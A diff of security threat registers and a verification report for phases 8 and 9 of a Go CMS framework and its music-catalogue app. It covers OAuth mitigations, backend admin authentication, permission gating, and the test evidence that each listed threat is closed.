| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|-----------|----------|-----------|----------|-------------|------------|--------|
| T-08-PKCE | Spoofing/Elevation | authorize / token exchange | high | mitigate | `wristband/authorize.go:77` requires `code_challenge_method=S256`, rejects missing challenge (`:84`); verifier compared through `wristband/crypto.go:34` `subtle.ConstantTimeCompare` | closed |
| T-08-CODE-REPLAY | Spoofing | auth-code store / exchange | high | mitigate | `classes/auth/oauth_store.go:130` `ByCodeHashForUpdate` (`clause.Locking UPDATE`) inside the single transaction at `:45`; concurrent one-winner tests per 08-SECURITY-REVIEW | closed |
| T-08-REFRESH-REPLAY | Spoofing/Elevation | refresh state machine | high | mitigate | `oauth_store.go:199` `ByTokenHashForUpdate`, `:243` `RevokeLineage` (locked walk); lineage kill committed before `invalid_grant`; manual-token-delete cascade fixed in 08-10 (`controllers/api/token_api_controller.go` `Destroy`) | closed |
| T-08-OPEN-REDIRECT | Spoofing/Disclosure | authorize | high | mitigate | `wristband/authorize.go:62` exact `stringSliceContains(client.RedirectURIs, …)` check precedes every `authorizeErrorRedirect` | closed |
| T-08-SCOPE-CEILING | Elevation | authorize / consent / refresh / CLI | high | mitigate | requested ∩ `ScopeCeiling` (`wristband/stores.go:29`) before persistence; consent four-way intersection app-owned (`wristband/consent.go:8`, D-08); refresh copies stored scopes only | closed |
| T-08-CROSS-USER | Elevation | consent / connected apps | high | mitigate | `controllers/api/connected_app_controller.go:28,75` scope reads/deletes to `user_id = ?`; missing/foreign/manual ids return identical 404 `Token not found` (`:70,:78`) | closed |
| T-08-SURFACE | Elevation | route groups / MCP boundary | high | mitigate | raw OAuth routes vs JWT management routes proven by `routes_isolation_test.go:TestFullRouteTableAuthGroupMutualExclusivity`, `TestOAuthTokenSurfaceIsolationCoverage`, `TestOAuthMetadataRouteIsolation` | closed |
| T-08-REQUEST-LEAK | Information Disclosure | metadata / logs / fixtures / output | high | mitigate | opaque pending-request handle (`wristband/authorize.go:29`); positive allow-list serializers (`TestOAuthConsentShowExactKeySet`); no `fmt.Print*`/`log.*`/`slog.*` on secrets; `check-phase8.sh` `redact_phase8` + `stage_secret_scan` | closed |
| T-08-SECRET-TIMING | Information Disclosure | client auth / issued client | medium | mitigate | single hash/compare path through `wristband/crypto.go:34` `subtle.ConstantTimeCompare`; secret shown once by the client command | closed |
| T-08-DCR-FLOOD | Denial of Service | register / client store | medium | mitigate | `wristband/register.go:67` `http.MaxBytesReader` at 65536 (`server.go:99`); `DCRClientCap` (`server.go:50`, `ErrClientCapReached`) under transactional cap/sweep/create; `throttle:fonoteka-oauth-register` 30/min per IP | closed |
| T-08-SC | Tampering | dependencies | low | mitigate | no `go.mod`/`go.sum` change in any phase 08 commit; stdlib port, no zitadel/oidc (D-01); Playwright/Node reused from existing lockfile | closed |
*Status: open · closed · open — below high threshold (non-blocking)*
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
---
## Accepted Risks Log
No accepted risks.
*Accepted risks do not resurface in future audit runs.*
---
## Security Audit Trail
| Audit Date | Threats Total | Closed | Open | Run By |
|------------|---------------|--------|------|--------|
| 2026-09-24 | 11 | 11 | 0 | 08-10 executor (`08-SECURITY-REVIEW.md`, self-performed) |
| 2026-10-12 | 11 | 11 | 0 | /msd-secure-phase orchestrator (L1 grep re-check; `go test -short` green for `modules/wristband`, fonoteka `classes/auth`, `controllers/api`) |
## Security Audit 2026-10-12
| Metric | Count |
|--------|-------|
| Threats found | 11 |
| Closed | 11 |
| Open | 0 |
Short-circuited at L1 (threats_open 0, register authored at plan time, ASVS 1); no auditor subagent spawned. Every mitigation above was re-located in current source rather than inherited from the 2026-09-24 review.
---
## Sign-Off
- [x] All threats have a disposition (mitigate / accept / transfer)
- [x] Accepted risks documented in Accepted Risks Log
- [x] `threats_open: 0` confirmed
- [x] `status: verified` set in frontmatter
**Approval:** verified 2026-10-12

View File

@@ -0,0 +1,105 @@
---
phase: "09"
slug: "backend-admin-authentication-and-schema-pipeline"
status: verified
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
threats_open: 0
threats_total: 22
threats_closed: 22
accepted_risks: 0
asvs_level: 1
block_on: high
register_authored_at_plan_time: true
created: "2026-10-12"
---
# Phase 09 — Security
> Per-phase security contract: threat register, accepted risks, and audit trail.
This file is the gate contract derived from the twelve `<threat_model>` blocks. `09-SECURITY-REVIEW.md` (2026-09-27, written by the 09-12 executor) has the per-threat findings and named test evidence. No SUMMARY carries a `## Threat Flags` section. T-09-SC appears in every plan and is counted once. Framework paths are relative to `summercms.go/modules/`. App paths are relative to `fonoteka.go/plugins/golem15/fonoteka/`.
---
## Trust Boundaries
| Boundary | Description | Data Crossing |
|----------|-------------|---------------|
| Client → raw admin API | Untrusted credentials, path segments, query input and JSON bodies enter the backend-only route family | credentials, identifiers, field values |
| JWT → backend principal provider | Signed claims select a backend identity and must not cross the frontend/backend boundary | bearer tokens (high) |
| Operator CLI → backend tables | Password and role inputs create or change privileged identities | passwords, role codes (high) |
| Auth outcomes → logs | Security telemetry must keep the evidence without copying secrets | admin id, outcome |
| Plugin embedded FS → schema compiler | Plugin-owned YAML becomes a server-side query, write and serialization contract | configuration |
| Request locale → schema serializer | Per-request language must not mutate shared cached state | display text |
| Schema/request → query planner → PostgreSQL | Compiled identifiers and untrusted bound values reach SQL | identifiers, filter values |
| JSON body / route id → model lifecycle | Untrusted fields and ids drive Fill, hooks, bulk and pivot writes | record data |
| Controller scope → global tables | Controller scope must constrain globally existing users, records and relation candidates | user emails, ids |
| Backend principal → metadata | Authorization decides which controllers and settings are disclosed | navigation, settings |
| Migrations / OpenAPI → consumers | Database and spec artifacts must match runtime behavior | schema, contract |
---
## Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|-----------|----------|-----------|----------|-------------|------------|--------|
| T-09-01 | Spoofing / Elevation | bouncer audience + backend guard | high | mitigate | Separate secrets, required `user`/`backend` audience; `bouncer/backend_guard_test.go` `TestPhase09GuardIsolation` (re-run 2026-10-12: pass) | closed |
| T-09-02 | Elevation | cabana protected-route wrapper | high | mitigate | `service.protect` checks guard, controller and permission before schema/query work; `cabana/security_coverage_test.go` `TestPhase09PermissionMatrix` (re-run: pass; covers the later reorder and singleton routes too) | closed |
| T-09-03 | Information Disclosure | auth handlers + logging | high | mitigate | Opaque login errors, log-capture redaction; `TestPhase09SecurityCoverage` (re-run: pass) | closed |
| T-09-04 | Elevation | admin:create / reset-password | medium | mitigate | Exact role codes, hash in transaction, token invalidation on reset; `cabana/commands_test.go` `TestAdminCreate*`, `TestAdminResetPasswordCommand` (re-run: pass) | closed |
| T-09-05 | Tampering | strict form-schema compiler | high | mitigate | Unknown key/type/provider/partial rejection, embedded-FS paths; `cabana/form_schema_test.go` `TestFormSchemaCompile*`, `TestFormSchemaRejects*` (re-run: pass) | closed |
| T-09-06 | Information Disclosure / Tampering | localized schema cache | medium | mitigate | Untranslated IR cached, locale per request; app `admin_phase09_e2e_test.go` `TestPhase09AssembledAcceptance` (re-run: pass) | closed |
| T-09-07 | Tampering / Elevation | `cabana/query.go` identifiers and scopes | high | mitigate | Compiled finite allowlists, bound values, injection fixtures; `TestPhase09SecurityCoverage` (re-run: pass) | closed |
| T-09-08 | Denial of Service | list pagination/search | medium | mitigate | perPage limited to compiled options, range validation; `TestPhase09AssembledAcceptance` (re-run: pass) | closed |
| T-09-09 | Tampering / Elevation | `cabana.ProjectWritableFields` | high | mitigate | Writable projection drops protected, unknown, case-variant and nested keys; `TestPhase09SecurityCoverage` (re-run: pass) | closed |
| T-09-10 | Tampering | CRUD/bulk lifecycle | high | mitigate | One transactional Fill/Validate/hooks service, locked bulk rows; `TestPhase09SecurityCoverage` (re-run: pass) | closed |
| T-09-11 | Elevation / Tampering | Albums collection-scoped lookup | high | mitigate | Server-side collection scope; app `admin_albums_test.go` `TestAlbumsAdminCollectionMatch`, `TestAlbumsAdminCrossCollection` (re-run: pass) | closed |
| T-09-12 | Tampering | normalized email association | high | mitigate | Exactly one active match or 422, no candidate disclosure; `TestAlbumsAdminAmbiguousEmail` (re-run: pass) | closed |
| T-09-13 | Elevation | Artists operation permission map | high | mitigate | Explicit permission per operation, activation fails on omissions; app `admin_phase09_security_test.go` `TestPhase09SecurityMatrix` (re-run: pass) | closed |
| T-09-14 | Spoofing / Elevation | controller registry duplicates | high | mitigate | Duplicate ids/routes/models fail activation; `party/registry_test.go` `TestActivateDuplicateIDRejected`, app `TestStylesAdminDuplicateRegistration` (re-run: pass) | closed |
| T-09-15 | Tampering | Style option/filter provider values | medium | mitigate | YAML scalar kinds preserved, provider output validated at activation; `TestStylesAdminTypedOptions` (re-run: pass) | closed |
| T-09-16 | Tampering / Elevation | relation pivot write | high | mitigate | Pivot columns/payload from the model contract, unknown pivot fields rejected; `TestPhase09SecurityCoverage`, `TestCollectionsAdminForgedPivot` (re-run: pass) | closed |
| T-09-17 | Elevation / Information Disclosure | owner/target/candidate scope | high | mitigate | Relation permission before SQL, scoped owner/target queries; `TestCollectionsAdminRelationPermissions`, `TestCollectionsAdminCrossScope` (re-run: pass) | closed |
| T-09-18 | Tampering / Elevation | settings PUT | high | mitigate | Permission first, fillable-only projection, singleton row lock; app `admin_settings_test.go` `TestAdminSettings*` (re-run: pass) | closed |
| T-09-19 | Information Disclosure | navigation/settings metadata | medium | mitigate | Entries filtered before serialization; `TestPhase09PermissionMatrix` (re-run: pass) | closed |
| T-09-20 | Repudiation / Elevation | Phase 9 security regression evidence | high | mitigate | Route-derived permission matrix, zero-test/skip detection in `scripts/check-phase9.sh`. See Audit Note: the app-side exact-route test is red on the current tree | closed |
| T-09-21 | Tampering | migration + OpenAPI drift | high | mitigate | Fresh/rollback PostgreSQL tests, handler-derived route inventory; `cabana/phase09_contract_test.go` `TestPhase09ContractInventory` (re-run: pass), `scripts/check-phase9.sh --postgres/--openapi` (09-12) | closed |
| T-09-SC | Tampering | Go module / generator tooling | high | mitigate | Phase 9 added no package. OpenAPI uses pinned swag v1.16.6 and openapi-typescript 7.13.0 (`scripts/check-phase9.sh --openapi`). Later go.mod changes belong to other phases | closed |
*Status: open · closed · open — below high threshold (non-blocking)*
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
---
## Accepted Risks Log
No accepted risks.
---
## Audit Note (2026-10-12)
The current tree fails `TestPhase09SecurityRoutes` in `fonoteka.go` (`admin_phase09_security_test.go`). It reports three admin routes that are missing from its `phase09AdminRoutes` allowlist: `GET /{controller}/reorder`, `POST /{controller}/reorder` and `GET /{controller}/singleton`. Phase 17-01 (`23f33c3`) added these routes but did not update the app's allowlist. All three carry the `backend` middleware and enter through `service.protect` (`cabana/reorder.go`, `cabana/singleton.go`). The framework's `TestPhase09PermissionMatrix` lists them and passes. Phase 9's controls still hold. The failure is a stale route list in the consumer app, so it is recorded here as a follow-up and not as an open threat. Fix: add the three keys to `phase09AdminRoutes` in `fonoteka.go`.
Browser rendering of these schemas belongs to Phase 10 (see `09-SECURITY-REVIEW.md`, Residual risk).
---
## Security Audit Trail
| Audit Date | Threats Total | Closed | Open | Run By |
|------------|---------------|--------|------|--------|
| 2026-09-27 | 22 | 22 | 0 | 09-12 executor (`09-SECURITY-REVIEW.md`) |
| 2026-10-12 | 22 | 22 | 0 | /msd-secure-phase (ASVS L1: test existence plus re-run of the named tests; short-circuit, no auditor) |
---
## Sign-Off
- [x] All threats have a disposition (mitigate / accept / transfer)
- [x] Accepted risks documented in Accepted Risks Log
- [x] `threats_open: 0` confirmed
- [x] `status: verified` set in frontmatter
**Approval:** verified 2026-10-12

View File

@@ -1,8 +1,8 @@
---
phase: 09-backend-admin-authentication-and-schema-pipeline
verified: 2026-10-05T15:08:52Z
verified: 2026-10-11T13:38:34Z
status: passed
score: 5/5 roadmap success criteria verified (plan truths 54/54 verified, including 3 backstop truths with direct test evidence)
score: 5/5 roadmap success criteria verified; plan truths 54/54
covered_files:
- ".planning/phases/09-backend-admin-authentication-and-schema-pipeline/09-01-PLAN.md"
- ".planning/phases/09-backend-admin-authentication-and-schema-pipeline/09-01-SUMMARY.md"
@@ -42,6 +42,7 @@ covered_files:
- "modules/bouncer/registry.go"
- "modules/bouncer/registry_test.go"
- "modules/cabana/admin_openapi.go"
- "modules/cabana/api_tokens.go"
- "modules/cabana/auth.go"
- "modules/cabana/auth_internal_test.go"
- "modules/cabana/auth_test.go"
@@ -53,6 +54,7 @@ covered_files:
- "modules/cabana/crud.go"
- "modules/cabana/crud_lifecycle_test.go"
- "modules/cabana/crud_test.go"
- "modules/cabana/field_type_upload.go"
- "modules/cabana/filter_schema.go"
- "modules/cabana/form_schema.go"
- "modules/cabana/form_schema_test.go"
@@ -79,6 +81,9 @@ covered_files:
- "modules/cabana/settings.go"
- "modules/cabana/testdata/list/all_columns.yaml"
- "modules/cabana/testdata/list/all_filters.yaml"
- "modules/cabana/token_guard.go"
- "modules/cabana/token_guard_test.go"
- "modules/cabana/token_scopes.go"
- "modules/cabana/tx_context.go"
- "modules/lagoon/backend_admin_migrations.go"
- "modules/lagoon/backend_admin_migrations_test.go"
@@ -89,46 +94,75 @@ covered_files:
- "modules/phrasebook/translator.go"
- "modules/surf/router.go"
- "scripts/check-phase9.sh"
covered_digest: "v2:sha256:c2f48f6ce04a5eed4788d745da45b1c1555a769df4feebfe88b9bbf671b634fb"
covered_files_note: "Fingerprint refreshed 2026-10-05 after later phases (12.1, 12.2, 13, 14) added to the same modules/cabana, lagoon, pact and surf files Phase 9 already covered. Paths remain modules/ (Phase 10.2). scripts/check-phase9.sh --all passed at summercms.go HEAD 104a1c9 and fonoteka.go HEAD 93b8b75. fonoteka.go files stay outside the digest and are listed under Required Artifacts."
covered_digest: "v2:sha256:e044b747d6e6be8c322be33286dc912e1d99b9fad727b0227877682f75a28ba1"
covered_files_note: "Regenerated 2026-10-11 at summercms.go HEAD be82bcc (code at b45af8e) and fonoteka.go HEAD e074028. Added modules/cabana/api_tokens.go (stampThrottle, on the composite guard's token path) and token_guard_test.go (TestTokenLastUsedThrottlePerGuard). fonoteka.go files stay outside the digest (separate repo) and are listed under Required Artifacts."
behavior_unverified: 0
overrides_applied: 0
mvp_mode_note: "ROADMAP marks Phase 9 mode: mvp, but the ROADMAP goal is not a User Story. Every Phase 9 PLAN carries a valid User Story, used for User Flow Coverage. As in the Phase 1/3/5/8/10 reports, the five ROADMAP success criteria are the contract."
mvp_mode_note: "ROADMAP marks Phase 9 mode: mvp, but the ROADMAP goal is not a User Story. Every Phase 9 PLAN carries a valid User Story, used for User Flow Coverage. The five ROADMAP success criteria are the contract."
re_verification:
previous_status: stale
previous_score: 5/5
reason: "The 2026-10-01T21:17Z passed report went stale because Phases 12.1, 12.2, 13 and 14 edited 25 already-covered implementation files (+3294/-217) after HEAD ba1aaef. This is content-digest drift, not missing modules/ paths (those were fixed in 1a878b3). scripts/check-phase9.sh --all passed at HEAD 104a1c9; covered_digest recomputed to match current bytes."
gaps_closed: []
previous_status: gaps_found
previous_score: "5/5 roadmap success criteria; plan truths 53/54"
previous_verified: 2026-10-11T13:00:45Z
closed_by: "quick 261011-kzi: fonoteka.go e074028 (test-only inventory update), summercms.go b45af8e (per-guard stampThrottle)"
gaps_closed:
- "09-12: Phase 9 fail-closed acceptance gate green. fonoteka phase09AdminRoutes now lists the 10 post-phase routes as protected; TestPhase09SecurityRoutes and TestPhase09SecurityMatrix PASS; scripts/check-phase9.sh --security and --all exit 0 (re-run by the verifier)."
advisory_closed:
- "TestBackendTokenPostgres order dependence: the process-global lastStamp map is gone (grep: no hits in modules/cabana). The 11-test run from the previous report plus TestTokenLastUsedDebounce and TestTokenLastUsedThrottlePerGuard gives 13/13 PASS on PostgreSQL, and the full Docker-backed go test -count=1 ./modules/cabana is ok (84.8s)."
gaps_remaining: []
regressions: []
human_items_resolved:
- "Code-review triage: 09-REVIEW-DISPOSITION.md records CR-01 and WR-01..WR-19 as fixed (12 Info findings stay open, out of scope). Each fix is in the code at HEAD with a passing named test."
- "WR-11 decision (user, 2026-10-01): index added. Migration 202610010001_backend_users_email_ci_unique creates backend_users_email_lower_unique on lower(email), refuses to run on case-duplicate emails and names the logins; rollback drops the index. TestBackendAdminEmailCaseInsensitiveUnique and TestBackendAdminEmailIndexRefusesCaseDuplicates PASS."
- "WR-03 decision (user, 2026-10-01): single-record delete kept as Winter (allowed whenever a form exists). Code matches: operationDeclared 'delete' requires a form only; TestCRUDOperationsFollowDeclarations PASS."
- "WR-17 decision (user, 2026-10-01): exact-code deny does not remove a wildcard grant, as Winter's getMergedPermissions. Code matches applyUserPermissions; TestBackendUserPermissionsOverrideRole PASS."
- "Judgment-tier prohibitions (user, 2026-10-01): all 24 verdicts accepted; 09-03 #1 confirmed as superseded by Phase 10.1 D-09. 09-11 #1 (WR-02) and 09-12 #1 (WR-18) are not violated on code and test evidence."
- "09-UAT.md: status complete, 3/3 pass (ba1aaef)."
human_verified:
- test: "Decide CR-01 (admin CRUD cannot save a writable number field; type mismatches return 500 instead of 422)"
uat_row: 1
recorded_at: "2026-10-01T21:13:02.000Z"
- test: "Triage the 19 open code-review warnings (priority: WR-01, WR-02, WR-14, WR-17 for AUTH-08 Winter permission semantics)"
uat_row: 2
recorded_at: "2026-10-01T21:13:02.000Z"
- test: "Review the 24 judgment-tier prohibitions in 09-VERIFICATION.md"
uat_row: 3
recorded_at: "2026-10-01T21:13:02.000Z"
---
# Phase 9: Backend admin authentication and schema pipeline. Verification Report
**Phase Goal:** Backend admin users with roles are separate from frontend users and gate navigation and controller access; `fields.yaml`/`columns.yaml` drive a JSON form/list schema, including a first-class relation-manager schema replacing the one `partial` field.
**Verified:** 2026-10-05T15:08:52Z (summercms.go HEAD 104a1c9, fonoteka.go HEAD 93b8b75)
**Verified:** 2026-10-11T13:38:34Z (summercms.go HEAD be82bcc, code at b45af8e; fonoteka.go HEAD e074028)
**Status:** passed
**Re-verification:** Yes. The 2026-10-01T21:17Z passed report went stale because later phases edited 25 already-covered implementation files. `scripts/check-phase9.sh --all` passed at HEAD 104a1c9; `covered_digest` was recomputed to match current bytes. Human items remain the 2026-10-01 decisions (09-UAT.md complete 3/3).
**Re-verification:** Yes, after gap closure. The 13:00Z run today found `gaps_found` (stale fonoteka route inventory). Quick task 261011-kzi closed it. This run re-checked the gap and the code changes from that task, and ran regression checks on everything else.
**MVP note:** ROADMAP marks this phase `mode: mvp`, but its goal is not a User Story. The PLAN files carry a valid one, which is used below. The five ROADMAP success criteria are the contract, and the plan `must_haves` are supporting evidence.
**Changes since the previous report that bear on Phase 9 (verified in code, not taken from 09-REVIEW-FIX.md):**
## Summary of this re-verification
- **Permissions (WR-01, WR-17):** `cabana.Allows` (`contracts.go:130`) now passes when ANY required code is granted, and `granted` (line 147) matches wildcard requirements (`x.*`, `*x`) as Winter's `hasPermission` does. `BackendUsers.FindByID` overlays the user's own `backend_users.permissions` on the role grants (`applyUserPermissions`, `auth.go:77`): `1` grants, `-1`/`0` remove an exact code.
- **Navigation (WR-02):** `Metadata` (`navigation.go:36`) drops a main item the principal may not open, whatever its children allow, and `openableTarget` (line 95) repoints an allowed parent to its first openable child. With Fonoteka's parent requirement `golem15.fonoteka.*`, a genres-only admin should now see the parent linked to `golem15.fonoteka.genres`, not albums (by code reading; the framework test pins this shape, no Fonoteka test asserts it).
- **Writes (WR-03, WR-04, WR-05):** `operationDeclared` (`http.go:806`) refuses create/update/delete/bulk-delete the compiled YAML does not declare (403). Form `required` applies only in contexts that can supply it. `relationMutation` (line 469) refuses link/unlink missing from `view.toolbarButtons`.
- **Auth (WR-10 to WR-14):** foreign `backend` guard fails boot (`bouncer.Registry.Owner`); ambiguous login identifiers answer the same opaque 401 (`findBackendLogin`, `auth.go:431`); dummy hash uses the configured bcrypt cost; `admin:*` read passwords from a prompt or stdin; logout runs outside the guard and revokes an expired-but-refreshable token via `bouncer.VerifyRefreshableClaimsAudience` (`refresh.go:60`).
- **Schema/query (WR-06 to WR-09, WR-16):** relation default sort is the first sortable column; relation column order comes from an ordered decode, not indentation; list search uses `LOWER(CAST(col AS TEXT))` (`query.go:296`); the scaffold declares a required permission and a record source; reflection helpers see embedded structs and explicit `column:` tags (`model_fields.go`).
- **Gate and transactions (WR-18, WR-19):** `check-phase9.sh` judges zero tests per package; hooks and scopes read the write transaction through `cabana.TxFromContext` (`tx_context.go:27`), used by Fonoteka's album and collection hooks.
- **Fonoteka (WR-15):** an admin editor link leaves `granted_by` NULL.
- **WR-11 index (2da8112, user decision):** migration `202610010001_backend_users_email_ci_unique` (`modules/lagoon/backend_admin_migrations.go`) checks for emails that differ only in case, fails naming the clashing logins, otherwise creates `backend_users_email_lower_unique ON backend_users (lower(email))`; rollback drops it. Registered through `BackendAdminMigrations` (`migrations.go:74`, plugin id `summercms.cabana`).
The single blocker is closed, and I checked that by running the evidence, not by reading the quick-task SUMMARY:
- `go test ./plugins/golem15/fonoteka -run '^TestPhase09Security' -count=1` (fonoteka.go): `TestPhase09SecurityRoutes` PASS, `TestPhase09SecurityMatrix` PASS.
- `scripts/check-phase9.sh --security`: "phase9 security passed", exit 0.
- `scripts/check-phase9.sh --all`: self-test, security, postgres, openapi and evidence all pass, exit 0 (log below).
- Assembled Phase 9 suites in fonoteka.go: 79 PASS, 0 FAIL, 0 SKIP (previous run: 78 PASS, 1 FAIL).
**Gap fix (fonoteka.go e074028).** The commit adds exactly 16 lines to `phase09AdminRoutes`: the 10 routes, each `public: false`, plus comments. The assertions in `TestPhase09SecurityRoutes` are unchanged. The test still fails on a missing route, a non-raw route, a protected route without `backend` middleware, a public route with it, and any unlisted admin route. I checked each of the 10 routes in `modules/cabana/http.go` `service.mount`. All are registered inside `r.GroupRaw(api, []string{"backend"}, …)`, which opens at line 264 and closes at line 387:
| Route | http.go line | Extra gate |
|---|---|---|
| `PUT /account` | 268 | `interactiveOnly`, `requireAjax` |
| `POST /account/avatar` | 269 | `interactiveOnly`, `requireAjax` |
| `DELETE /account/avatar` | 270 | `interactiveOnly`, `requireAjax` |
| `GET /account/tokens` | 271 | `interactiveOnly` |
| `POST /account/tokens` | 272 | `interactiveOnly`, `requireAjax` |
| `GET /account/tokens/scopes` | 273 | `interactiveOnly` |
| `DELETE /account/tokens/{id}` | 274 | `interactiveOnly`, `requireAjax` |
| `GET /field-types` | 278 | `tokenRouteGate` (handler) |
| `POST /markdown/preview` | 280 | `requireAjax`, `tokenRouteGate` (handler) |
| `POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` | 386 | `requireAjax`; handler calls `protect` then `operationDeclared` (`field_type_upload.go:33,44`) |
None of the 10 routes is in the public `/auth`, `/lang` or `adminPrefix` groups.
**Throttle change (summercms.go b45af8e) does not weaken any Phase 9 must-have.** Since a3b502b (the HEAD of the previous report), the only code changes are `api_tokens.go`, `token_guard.go`, `http.go` and two test files (`git diff --stat a3b502b HEAD`).
- `compositeGuard.AuthenticateCredential` (`token_guard.go:62-75`) is unchanged: a Bearer value with the `g15_` prefix goes to `authenticateToken`, and everything else goes to `g.jwt.Authenticate`. `g.jwt` is still `bouncer.NewBackendJWTGuard(secret, users, bl, writeUnauthenticated, AdminCookieName)` (`http.go:151,156`). The cookie-less resolver also uses `NewBackendJWTGuard` (`http.go:172-173`).
- The only change on the token path is the debounce of the `last_used_at` write. It now happens after all authentication and scope decisions (`token_guard.go:120`) and does not affect the result. Token lookup, `subtle.ConstantTimeCompare`, `users.FindByID` (backend users only), `methodFilterScopes`, and `principal.Scope = limit` are unchanged.
- Scope narrowing is untouched. `token_scopes.go` (`ownerHas`, line 237; `allowsUnderScope`, line 246) and `contracts.go` (`Allows`) have no diff. `TestAllowsScope`, `TestScopeCoversAll`, `TestScopeMatch`, `TestTokenRouteGates` and `TestInteractiveOnly` PASS.
- Guard ownership (`guards.Owner("backend")`, `http.go:163-169`) is unchanged.
- A nil `*stampThrottle` returns `due == true`, so a zero-value guard still stamps (the SQL UPDATE stays conditional) and cannot panic. The race run is clean.
## User Flow Coverage
@@ -136,12 +170,12 @@ User story (from every 09-*-PLAN.md): *As a backend administrator, I want to aut
| Step | Expected | Evidence | Status |
|---|---|---|---|
| Provision an admin | `summer admin:create` creates a bcrypt admin with a role; no boot or web seed | `modules/cabana/commands.go`; `TestAdminCreateCommand`, `TestAdminResetPasswordCommand`, `TestAdminPasswordWithoutFlag`, `TestAdminCreateRejectsCrossFieldCollision`: PASS | VERIFIED |
| Log in separately | Backend login by login or email returns a `backend`-audience JWT; frontend credentials fail; ambiguous identifiers fail opaquely | `modules/cabana/auth.go`, `bouncer.NewBackendJWTGuard`; `TestAdminAuthLifecycle`, `TestLoginAmbiguousIdentifier`, `TestAdminTracerGenreList`, `TestPhase09GuardIsolation`: PASS | VERIFIED |
| See permitted navigation | `/navigation` lists only permitted items and never links to a 403 target | `modules/cabana/navigation.go` `Metadata`/`openableTarget`; `TestNavigationDropsDeniedParentAndRepointsTarget`, `TestAdminMetadataFiltering`: PASS | VERIFIED |
| Open a controller | 403 without the controller permission, before any schema or SQL work | `modules/cabana/http.go` `protect` (line 780), then `operationDeclared` for writes; `TestPhase09PermissionMatrix`, `TestCRUDOperationsFollowDeclarations`, `TestAdminTracerPermissionBoundary`, `TestPhase09SecurityRoutes`: PASS | VERIFIED |
| Work with schema-driven lists and forms | Form/list/relation schemas compiled from Winter YAML; CRUD, bulk delete, relation manager, settings | Sections below; `TestPhase09AssembledAcceptance`: PASS on real PostgreSQL | VERIFIED |
| Outcome: permission-gated, reusable, decoupled | Framework has no app names; admin identity never touches frontend users | `grep -niE "fonoteka|collection_editors|granted_by|golem15_"` on non-test `modules/cabana/*.go`: no hits. `BackendUsers.FindByID` reads only `backend_users` | VERIFIED |
| Provision an admin | `summer admin:create` creates a bcrypt admin with a role; no boot or web seed | `modules/cabana/commands.go`; `TestAdminCreateCommand`, `TestAdminResetPasswordCommand`, `TestAdminPasswordWithoutFlag`, `TestAdminCreateRejectsCrossFieldCollision`: PASS on PostgreSQL (re-run today) | VERIFIED |
| Log in separately | Backend login returns a `backend`-audience JWT; frontend credentials fail; ambiguous identifiers fail opaquely | `auth.go` `findBackendLogin`, `bouncer.NewBackendJWTGuard`; `TestAdminAuthLifecycle`, `TestLoginAmbiguousIdentifier`, `TestPhase09GuardIsolation` (via `check-phase9.sh --security`), Fonoteka `TestAdminTracerAuthBoundary`, `TestAdminTracerGenreList`: PASS | VERIFIED |
| See permitted navigation | `/navigation` lists only permitted items and never links to a 403 target | `navigation.go` `Metadata`/`openableTarget`/`canOpen`; Fonoteka `TestAdminMetadata*`: PASS | VERIFIED |
| Open a controller | 403 without the controller permission, before any schema or SQL work | `http.go` `protect`, `operationDeclared`; `TestCRUDOperationsFollowDeclarations`, Fonoteka `TestPhase09SecurityMatrix`, `TestAdminTracerPermissionBoundary`: PASS | VERIFIED |
| Work with schema-driven lists and forms | Form, list and relation schemas compiled from Winter YAML; CRUD, bulk delete, relation manager, settings | Sections below; Fonoteka `TestPhase09AssembledAcceptance` (via `check-phase9.sh --postgres`, run twice inside `--all`): PASS | VERIFIED |
| Outcome: permission-gated, reusable, decoupled | No app names in the framework; admin identity never touches frontend users | No new non-test framework code beyond the throttle; token principals still resolve only through `BackendUsers.FindByID` | VERIFIED |
## Goal Achievement
@@ -149,167 +183,165 @@ User story (from every 09-*-PLAN.md): *As a backend administrator, I want to aut
| # | Truth | Status | Evidence |
|---|---|---|---|
| 1 | A backend admin user with a role logs in separately from frontend users, and navigation/controller access is gated by the permissions registry. | ✓ VERIFIED | Separate Winter-shaped `backend_users`/`backend_user_roles` (`modules/lagoon/backend_admin_migrations.go`; `TestBackendAdmin*` PASS in the full run). Separate `backend` guard with its own secret and required audience; cross-audience tokens fail both ways (`TestPhase09GuardIsolation`, `TestAdminTracerAuthBoundary`: PASS); a foreign guard fails boot (`TestActivateRefusesAForeignBackendGuard`: PASS). Grants = role JSON + `HasPermissions` role assignments + user-level overlay (`auth.go:39-77`; `TestBackendUserPermissionsOverrideRole`: PASS on PostgreSQL). Every controller, relation and CRUD route goes through `protect` (`http.go:780`), settings through `protectSetting` (line 387). Permission matching follows Winter's `hasAnyAccess` (`TestAllowsFollowsWinterHasAnyAccess`, 17 cases: PASS). Navigation and settings filter by the same `Allows`; denied parents are dropped and targets repointed (`TestNavigationDropsDeniedParentAndRepointsTarget`: PASS). Also `TestPhase09PermissionMatrix`, `TestPhase09SecurityMatrix`, `TestAdminMetadataFiltering`, `TestAdminMetadataRejectsFrontendPrincipal`: PASS. The previous WR-01/WR-02/WR-17 caveats are closed in code; WR-17's wildcard-deny behaviour was kept as Winter by user decision. |
| 2 | `fields.yaml` for a real controller parses (goccy/go-yaml) into a JSON form schema covering text, textarea, checkbox, switch, dropdown (model-method options) and relation (nameFrom, emptyOption), with span/tabs/context/attributes layout hints. | ✓ VERIFIED | `modules/cabana/form_schema.go` decodes with goccy/go-yaml and `yaml.DisallowUnknownField()` (line 286), walks the AST to keep order, rejects unknown keys and types. The real Fonoteka YAML covers every listed item. `required` now honours `context` (`TestCRUDRequiredFollowsContext`: PASS). Tests: `TestFormSchemaCompile`, `TestFormSchemaRejects`, `TestAlbumsAdminForm`, `TestAlbumsAdminDropdowns`, `TestStylesAdminForm`, `TestCollectionsAdminForm`: PASS. |
